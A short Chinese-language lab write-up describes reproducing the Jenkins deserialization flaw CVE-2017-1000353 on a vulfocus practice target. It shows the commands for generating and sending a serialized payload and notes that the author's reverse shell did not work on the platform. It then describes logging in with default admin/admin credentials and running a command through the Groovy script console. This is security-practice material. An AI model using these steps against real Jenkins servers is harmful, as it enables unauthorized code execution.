简介
Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限
建议自己搭建环境复现,这个vulfocus上没有体现出反序列化漏洞,因为无法使用反序列化查看flag,最终使用弱口令登录,执行系统命令成功找到flag。
利用工具复现
1.首先下载生成poc工具
执行如下代码,生成字节码文件jenkins_poc.ser,这便是序列化字符串。
java -jar CVE-2017-1000353-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
我首先在windows10上生成字节码文件,但是说不能进入jarfile,所以就放到了linux上
Error: Unable to access jarfile CVE-2017-1000353-SNAPSHOT-all.jar
2.然后下载exp文件
发送字节码文件
python3 exploit.py http://ip:port jenkins_poc.ser
执行成功后,会在靶机/tmp目录看到success文件。
因为我用的vulfocus复现,无法反弹shell,所以看不到。
经过搜索,发现竟然可以使用默认账号密码登录,上面执行的命令直接无用,最后以软口令完成任务。
使用admin/admin登录成功
登录成功后,在左边找到系统管理,然后找到脚本命令行,输入
println "ls /tmp".execute().text
漏洞修复
升级版本